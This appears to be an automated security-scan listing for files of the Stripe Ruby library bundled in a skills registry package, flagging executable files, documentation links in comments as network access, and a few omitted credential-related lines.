    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 81
    # You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API if you need to create coupons on the fly.
  • Network accessline 88
    # You can delete coupons via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. However, deleting a coupon does not affect any customers who have already applied the coupon; it means that new custome
  • Network accessline 98
    # You can delete coupons via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. However, deleting a coupon does not affect any customers who have already applied the coupon; it means that new custome

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/credit_note.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # Issue a credit note to adjust an invoice's amount after the invoice is finalized.   #   # Related guide: [Credit notes](https://docs.stripe.com/billing/invoices/credit-notes)
  • Network accessline 7
    # Related guide: [Credit notes](https://docs.stripe.com/billing/invoices/credit-notes)
  • Network accessline 166
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 190
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 212
    # Status of this credit note, one of `issued` or `void`. Learn more about [voiding credit notes](https://docs.stripe.com/billing/invoices/credit-notes#voiding).
  • Network accessline 281
    # Marks a credit note as void. Learn more about [voiding credit notes](https://docs.stripe.com/docs/billing/invoices/credit-notes#voiding).
  • Network accessline 291
    # Marks a credit note as void. Learn more about [voiding credit notes](https://docs.stripe.com/docs/billing/invoices/credit-notes#voiding).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/credit_note_line_item.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/customer.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # This object represents a customer of your business. Use it to [create recurring charges](https://docs.stripe.com/invoicing/customer), [save payment](https://docs.stripe.com/payments/save-during-payment) and contact information,
  • Network accessline 28
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 36
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 100
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 108
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 175
    # The current balance, if any, that's stored on the customer in their default currency. If negative, the customer has credit to apply to their next invoice. If positive, the customer has an amount owed that's added to their next invoice. Th
  • Network accessline 183
    # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) the customer can be charged in for recurring billing purposes.
  • Network accessline 187
    # ID of the default payment source for the customer.     #     # If you use payment methods created through the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/object#customer_obje
  • Network accessline 189
    # If you use payment methods created through the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/object#customer_object-invoice_settings-default_payment_method) field instead.
  • Network accessline 191
    # Tracks the most recent state change on any invoice belonging to the customer. Paying an invoice or marking it uncollectible via the API will set this field to false. An automatic payment failure or passing the `invoice.due_date` will set 
  • Network accessline 192
    #     # If an invoice becomes uncollectible by [dunning](https://docs.stripe.com/billing/automatic-collection), `delinquent` doesn't reset to `false`.     #
  • Network accessline 193
    # If an invoice becomes uncollectible by [dunning](https://docs.stripe.com/billing/automatic-collection), `delinquent` doesn't reset to `false`.
  • Network accessline 215
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/customer_balance_transaction.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # Each customer has a [Balance](https://docs.stripe.com/api/customers/object#customer_object-balance) value,
  • Network accessline 6
    # which denotes a debit or credit that's automatically applied to their next invoice upon finalization.   # You may modify the value directly by using the [update customer API](https://docs.stripe.com/api/customers/update),   # or by creati
  • Network accessline 7
    # You may modify the value directly by using the [update customer API](https://docs.stripe.com/api/customers/update),
  • Network accessline 8
    # or by creating a Customer Balance Transaction, which increments or decrements the customer's `balance` by the specified `amount`.   #   # Related guide: [Customer balance](https://docs.stripe.com/billing/customer/balance)
  • Network accessline 10
    # Related guide: [Customer balance](https://docs.stripe.com/billing/customer/balance)
  • Network accessline 27
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 43
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 47
    # Transaction type: `adjustment`, `applied_to_invoice`, `credit_note`, `initial`, `invoice_overpaid`, `invoice_too_large`, `invoice_too_small`, `unspent_receiver_credit`, `unapplied_from_invoice`, `checkout_session_subscription_payment`, or

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/customer_cash_balance_transaction.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 16
    # The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds taken out of your Stripe balance.
  • Network accessline 18
    # The [Cash Balance Transaction](https://docs.stripe.com/api/cash_balance_transactions/object) that brought the customer balance negative, triggering the clawback of funds.
  • Network accessline 31
    # The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were applied to.
  • Network accessline 149
    # The [Refund](https://docs.stripe.com/api/refunds/object) that moved these funds into the customer's cash balance.
  • Network accessline 162
    # The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds transferred to your Stripe balance.
  • Network accessline 175
    # The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were unapplied from.
  • Network accessline 192
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 198
    # The total available cash balance for the specified currency after this transaction was applied. Represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 206
    # The amount by which the cash balance changed, represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). A positive value represents funds being added to the cash balance, a negative value represents fun
  • Network accessline 214
    # The type of the cash balance transaction. New types may be added in future. See [Customer Balance](https://docs.stripe.com/payments/customer-balance#types) to learn more about these types.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/customer_session.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # control over a Customer.   #   # Related guides: [Customer Session with the Payment Element](https://docs.stripe.com/payments/accept-a-payment-deferred?platform=web&type=payment#save-payment-methods),
  • Network accessline 7
    #   # Related guides: [Customer Session with the Payment Element](https://docs.stripe.com/payments/accept-a-payment-deferred?platform=web&type=payment#save-payment-methods),   # [Customer Session with the Pricing Table](https://docs.stripe.
  • Network accessline 8
    # Related guides: [Customer Session with the Payment Element](https://docs.stripe.com/payments/accept-a-payment-deferred?platform=web&type=payment#save-payment-methods),
  • Network accessline 9
    # [Customer Session with the Pricing Table](https://docs.stripe.com/payments/checkout/pricing-table#customer-session),
  • Network accessline 10
    # [Customer Session with the Buy Button](https://docs.stripe.com/payment-links/buy-button#pass-an-existing-customer).
  • Network accessline 35
    # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the customer sheet displays by filtering to only show payment methods
  • Network accessline 39
    # Controls whether the customer sheet displays the option to remove a saved payment method."           #           # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing th
  • Network accessline 41
    # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method
  • Network accessline 68
    # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the mobile payment element displays by filtering to only show payment
  • Network accessline 74
    # Controls whether the mobile payment element displays the option to remove a saved payment method."           #           # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Rem
  • Network accessline 76
    # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method
  • Network accessline 78
    # Controls whether the mobile payment element displays a checkbox offering to save a new payment method.           #           # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#paymen
  • Network accessline 80
    # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the 
  • Network accessline 111
    # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the Payment Element displays by filtering to only show payment method
  • Network accessline 119
    # Controls whether the Payment Element displays the option to remove a saved payment method. This parameter defaults to `disabled`.           #           # Allowing buyers to remove their saved payment methods impacts subscriptions that dep
  • Network accessline 121
    # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method
  • Network accessline 123
    # Controls whether the Payment Element displays a checkbox offering to save a new payment method. This parameter defaults to `disabled`.           #           # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/a
  • Network accessline 125
    # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the 
  • Network accessline 127
    # When using PaymentIntents and the customer checks the save checkbox, this field determines the [`setup_future_usage`](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-setup_future_usage) value used to confirm the P
  • Network accessline 129
    # When using SetupIntents, directly configure the [`usage`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) value on SetupIntent creation.
  • Access to secretsline 194
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/discount.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 6
    # It contains information about when the discount began, when it will end, and what it is applied to.   #   # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 8
    # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/dispute.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # evidence that shows that the charge is legitimate.   #   # Related guide: [Disputes and fraud](https://docs.stripe.com/disputes)
  • Network accessline 9
    # Related guide: [Disputes and fraud](https://docs.stripe.com/disputes)
  • Network accessline 26
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 34
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 75
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 83
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 168
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation policy, as shown to the customer.
  • Network accessline 174
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication with the customer that you feel is relevant to your case. Examples include emails proving that the customer received the product or service, or demonstr
  • Network accessline 182
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document or contract showing the customer's signature.
  • Network accessline 184
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prior charge that can uniquely identify the charge, such as a receipt, shipping label, work order, etc. This document should be paired with a simila
  • Network accessline 194
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message sent to the customer notifying them of the charge.
  • Network accessline 196
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer.
  • Network accessline 204
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service was provided to the customer. This could include a copy of a signed contract, work order, or other form of written agreement.
  • Network accessline 212
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a product was shipped to the customer at the same address the customer provided to you. This could include a copy of the shipment receipt
  • Network accessline 216
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any additional evidence or statements.
  • Network accessline 314
    # The card network's specific dispute reason code, which maps to one of Stripe's primary dispute categories to simplify response guidance. The [Network code map](https://stripe.com/docs/disputes/categories#network-code-map) lists all availa
  • Network accessline 382
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 396
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 406
    # Reason given by cardholder for dispute. Possible values are `bank_cannot_process`, `check_returned`, `credit_not_processed`, `customer_initiated`, `debit_not_authorized`, `duplicate`, `fraudulent`, `general`, `incorrect_account_details`, 
  • Network accessline 440
    # When you get a dispute, contacting your customer is always the best first step. If that doesn't work, you can submit evidence to help us resolve the dispute in your favor. You can do this in your [dashboard](https://dashboard.stripe.com/d
  • Network accessline 442
    # Depending on your dispute type, different evidence fields will give you a better chance of winning your dispute. To figure out which evidence fields to provide, see our [guide to dispute types](https://docs.stripe.com/docs/disputes/catego

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/entitlements/active_entitlement.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 15
    # The [Feature](https://docs.stripe.com/api/entitlements/feature) that the customer is entitled to.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/entitlements/active_entitlement_summary.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/entitlements/feature.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/ephemeral_key.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/event.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 15
    # a list of events from the API.   #   # [Connect](https://docs.stripe.com/connect) platforms can also receive event notifications
  • Network accessline 16
    #   # [Connect](https://docs.stripe.com/connect) platforms can also receive event notifications   # that occur in their connected accounts. These events include an account attribute that
  • Network accessline 17
    # [Connect](https://docs.stripe.com/connect) platforms can also receive event notifications
  • Network accessline 19
    # identifies the relevant connected account.   #   # You can access events through the [Retrieve Event API](https://docs.stripe.com/api/events#retrieve_event)
  • Network accessline 20
    #   # You can access events through the [Retrieve Event API](https://docs.stripe.com/api/events#retrieve_event)   # for 30 days.
  • Network accessline 21
    # You can access events through the [Retrieve Event API](https://docs.stripe.com/api/events#retrieve_event)
  • Network accessline 32
    # Object containing the API resource relevant to the event. For example, an `invoice.created` event will have a full [invoice object](https://api.stripe.com#invoice_object) as the value of the object key.
  • Network accessline 47
    # ID of the API request that caused the event. If null, the event was automatic (e.g., Stripe's automatic subscription handling). Request logs are available in the [dashboard](https://dashboard.stripe.com/logs), but currently not in the API
  • Network accessline 83
    # List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events/object) api_version attribute (not according to your c

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/exchange_rate.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # [Deprecated] The `ExchangeRate` APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.
  • Network accessline 11
    # payment in a foreign currency).   #   # Please refer to our [Exchange Rates API](https://docs.stripe.com/fx-rates) guide for more details.
  • Network accessline 12
    #   # Please refer to our [Exchange Rates API](https://docs.stripe.com/fx-rates) guide for more details.   #
  • Network accessline 13
    # Please refer to our [Exchange Rates API](https://docs.stripe.com/fx-rates) guide for more details.
  • Network accessline 17
    # current. To do so, you must pass in the exchange_rate to charges endpoints. If the   # value is no longer up to date, the charge won't go through. Please refer to our   # [Using with charges](https://docs.stripe.com/exchange-rates) guide 
  • Network accessline 18
    # value is no longer up to date, the charge won't go through. Please refer to our   # [Using with charges](https://docs.stripe.com/exchange-rates) guide for more details.   #
  • Network accessline 19
    # [Using with charges](https://docs.stripe.com/exchange-rates) guide for more details.
  • Network accessline 42
    # Unique identifier for the object. Represented as the three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) in lowercase.
  • Network accessline 49
    # [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/file.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # This object represents files hosted on Stripe's servers. You can upload   # files with the [create file](https://api.stripe.com#create_file) request
  • Network accessline 6
    # files with the [create file](https://api.stripe.com#create_file) request
  • Network accessline 7
    # (for example, when uploading dispute evidence). Stripe also   # creates files independently (for example, the results of a [Sigma scheduled   # query](https://docs.stripe.com/api#scheduled_queries)).
  • Network accessline 8
    # creates files independently (for example, the results of a [Sigma scheduled   # query](https://docs.stripe.com/api#scheduled_queries)).   #
  • Network accessline 9
    # query](https://docs.stripe.com/api#scheduled_queries)).
  • Network accessline 11
    # Related guide: [File upload guide](https://docs.stripe.com/file-upload)
  • Network accessline 29
    # A list of [file links](https://api.stripe.com#file_links) that point at this file.
  • Network accessline 33
    # The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/file_link.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 30
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/financial_connections/account.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 55
    # The funds available to the account holder. Typically this is the current balance after subtracting any outbound pending transactions and adding any inbound pending transactions.           #           # Each key is a three-letter [ISO curr
  • Network accessline 56
    #           # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.           #
  • Network accessline 57
    # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.
  • Network accessline 72
    # The credit that has been used by the account holder.           #           # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.
  • Network accessline 73
    #           # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.           #
  • Network accessline 74
    # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.
  • Network accessline 93
    # The balances owed to (or by) the account holder, before subtracting any outbound pending transactions or adding any inbound pending transactions.         #         # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4
  • Network accessline 94
    #         # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.         #
  • Network accessline 95
    # Each key is a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.
  • Network accessline 212
    # The [PaymentMethod type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type)(s) that can be created from this account.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/financial_connections/account_owner.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/financial_connections/account_ownership.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/financial_connections/session.rb

  • Executable scriptline 1
    Executable file
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/financial_connections/transaction.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 33
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/forwarding/request.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 19
    # Stripe's limits.     #     # Related guide: [Forward card details to third-party API endpoints](https://docs.stripe.com/payments/forwarding).
  • Network accessline 21
    # Related guide: [Forward card details to third-party API endpoints](https://docs.stripe.com/payments/forwarding).
  • Network accessline 113
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/funding_instructions.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # Each customer has a [`balance`](https://docs.stripe.com/api/customers/object#customer_object-balance) that is
  • Network accessline 7
    # Customers can fund this balance by initiating a bank transfer to any account in the   # `financial_addresses` field.   # Related guide: [Customer balance funding instructions](https://docs.stripe.com/payments/customer-balance/funding-inst
  • Network accessline 9
    # Related guide: [Customer balance funding instructions](https://docs.stripe.com/payments/customer-balance/funding-instructions)
  • Network accessline 22
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 30
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 45
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 53
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 95
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 103
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 118
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 126
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 145
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 166
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 174
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 189
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 197
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 235
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 243
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 258
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 266
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 306
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 314
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 329
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 337
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 379
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 387
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 402
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 410
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 500
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/identity/verification_report.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    #     # Each VerificationReport contains a copy of any data collected by the user as well as     # reference IDs which can be used to access collected images through the [FileUpload](https://docs.stripe.com/api/files)
  • Network accessline 11
    # Each VerificationReport contains a copy of any data collected by the user as well as     # reference IDs which can be used to access collected images through the [FileUpload](https://docs.stripe.com/api/files)     # API. To configure and 
  • Network accessline 12
    # reference IDs which can be used to access collected images through the [FileUpload](https://docs.stripe.com/api/files)
  • Network accessline 13
    # API. To configure and create VerificationReports, use the     # [VerificationSession](https://docs.stripe.com/api/identity/verification_sessions) API.     #
  • Network accessline 14
    # [VerificationSession](https://docs.stripe.com/api/identity/verification_sessions) API.
  • Network accessline 16
    # Related guide: [Accessing verification results](https://docs.stripe.com/identity/verification-sessions#results).
  • Network accessline 29
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 37
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 122
    # Array of [File](https://docs.stripe.com/api/files) ids containing images for this document.
  • Network accessline 251
    # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth.
  • Network accessline 255
    # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie).
  • Network accessline 336
    # ID of the [File](https://docs.stripe.com/api/files) holding the image of the identity document used in this check.
  • Network accessline 340
    # ID of the [File](https://docs.stripe.com/api/files) holding the image of the selfie used in this check.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/identity/verification_session.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # A VerificationSession guides you through the process of collecting and verifying the identities     # of your users. It contains details about the type of verification, such as what [verification     # check](https://docs.stripe.com/docs/
  • Network accessline 7
    # of your users. It contains details about the type of verification, such as what [verification     # check](https://docs.stripe.com/docs/identity/verification-checks) to perform. Only create one VerificationSession for     # each verificat
  • Network accessline 8
    # check](https://docs.stripe.com/docs/identity/verification-checks) to perform. Only create one VerificationSession for
  • Network accessline 10
    #     # A VerificationSession transitions through [multiple     # statuses](https://docs.stripe.com/docs/identity/how-sessions-work) throughout its lifetime as it progresses through
  • Network accessline 11
    # A VerificationSession transitions through [multiple     # statuses](https://docs.stripe.com/docs/identity/how-sessions-work) throughout its lifetime as it progresses through     # the verification flow. The VerificationSession contains th
  • Network accessline 12
    # statuses](https://docs.stripe.com/docs/identity/how-sessions-work) throughout its lifetime as it progresses through
  • Network accessline 14
    # verification checks are complete.     #     # Related guide: [The Verification Sessions API](https://docs.stripe.com/identity/verification-sessions)
  • Network accessline 16
    # Related guide: [The Verification Sessions API](https://docs.stripe.com/identity/verification-sessions)
  • Network accessline 46
    # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth.
  • Network accessline 50
    # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie).
  • Network accessline 185
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 193
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 254
    # The short-lived client secret used by Stripe.js to [show a verification modal](https://docs.stripe.com/js/identity/modal) inside your app. This client secret expires after 24 hours and can only be used once. Don’t store it, log it, embed 
  • Access to secretsline 255
    [Credential-related source omitted]
  • Network accessline 262
    # ID of the most recent VerificationReport. [Learn more about accessing detailed verification results.](https://docs.stripe.com/identity/verification-sessions#results)
  • Network accessline 266
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 282
    # Status of this VerificationSession. [Learn more about the lifecycle of sessions](https://docs.stripe.com/identity/how-sessions-work).
  • Network accessline 284
